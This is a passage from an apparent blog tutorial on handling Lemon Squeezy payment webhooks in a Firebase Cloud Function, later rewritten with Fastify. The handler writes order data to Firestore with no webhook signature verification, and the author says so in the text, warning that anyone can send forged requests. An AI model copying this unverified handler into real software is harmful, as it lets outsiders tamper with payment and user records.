&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;//   updated_at: requestData.data.updated_at,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;// };&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;// @TODO you want to change this to whatever identifier you&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;// pass in the webhook via the custom fields&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;uid&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; requestData.uid;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;// @TODO similarly if you want to use your own unique&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;// plan or order identifier&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;planId&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; requestData.planId;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;// The following&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;orderId&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; requestData.data.id;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;userEmail&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; requestData.data.user_email;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;db&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;await&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;getFirestore&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;();&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;// Construct the collection path&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;docRef&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; db&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    .&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;collection&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;users&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    .&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;doc&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(uid)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    .&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;collection&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;plans&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    .&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;doc&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(planId);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;// Use a transaction to ensure atomic update&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;await&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; db.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;runTransaction&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;async&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;transaction&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;// Get the document snapshot&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;doc&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;await&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; transaction.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;get&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(docRef);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;// Create the document if it doesn&apos;t exist&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;if&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;!&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;doc.exists) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      transaction.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;set&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(docRef, { orderId, userEmail });&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    } &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;else&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      &lt;/span&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;// Update the document if it already exists&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      transaction.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;update&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(docRef, { orderId, userEmail });&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  });&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;return&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; res.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;status&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;200&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;).&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;send&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;();&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;});&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;You can access the Lemon Squeezy order data from the request body,
but notice that &lt;em&gt;there is no webhook signature verification code involved&lt;/em&gt;
here, which means that literally anyone on the Internet can send you
HTTP requests that are fake and alter your data (⚠️).&lt;/p&gt;
&lt;p&gt;You can deploy the function with Firebase tools CLI:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;firebase deploy --only functions&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h2 id=&quot;phase-2-use-fastify-for-the-firebase-function&quot;&gt;Phase 2: Use Fastify for the Firebase Function&lt;/h2&gt;
&lt;p&gt;Let’s update the code snippet above to introduce Fastify as the library
that handles the HTTP request and reply and provides the foundational
web framework needs, such as:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Adding CORS&lt;/li&gt;
&lt;li&gt;Configuring a request and response schema&lt;/li&gt;
&lt;li&gt;Routing middleware&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Here is the revised version to include Fastify:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;// The Cloud Functions for Firebase SDK to create Cloud Functions and triggers.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; { &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;logger&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; } &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;require&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;firebase-functions&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; { &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;onRequest&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; } &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;require&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;firebase-functions/v2/https&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;// The Firebase Admin SDK to access Firestore.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; { &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;initializeApp&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; } &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;require&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;firebase-admin/app&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; { &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;getFirestore&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; } &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;require&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;firebase-admin/firestore&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;fastify&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;require&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;fastify&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;)({&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  logger: &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;true&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;});&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;fastify.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;addContentTypeParser&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;application/json&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, {}, (&lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;req&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;body&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;done&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;done&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;null&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, body.body);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;});&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;initializeApp&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;();&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;fastify.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;post&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;/lms-webhook&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;async&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;request&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;reply&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;requestData&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; request.body;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;// following is an example of some of the data that exists on&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;// the Lemon Squeezy webhook:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;// const orderTransaction = {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;//   type: requestData.data.type,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;//   id: requestData.data.id,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;//   customer_id: requestData.data.customer_id,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;//   identifier: requestData.data.identifier,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;//   order_number: requestData.data.order_number,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;//   user_name: requestData.data.user_name,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;//   user_email: requestData.data.user_email,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;//   status: requestData.data.status,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;//   total: requestData.data.total,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;//   created_at: requestData.data.created_at,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;//   updated_at: requestData.data.updated_at,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;// };&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;// @TODO you want to change this to whatever identifier you&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;// pass in the webhook via the custom fields&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;uid&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; requestData.uid;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;// @TODO similarly if you want to use your own unique&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;// plan or order identifier&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;planId&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; requestData.planId;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
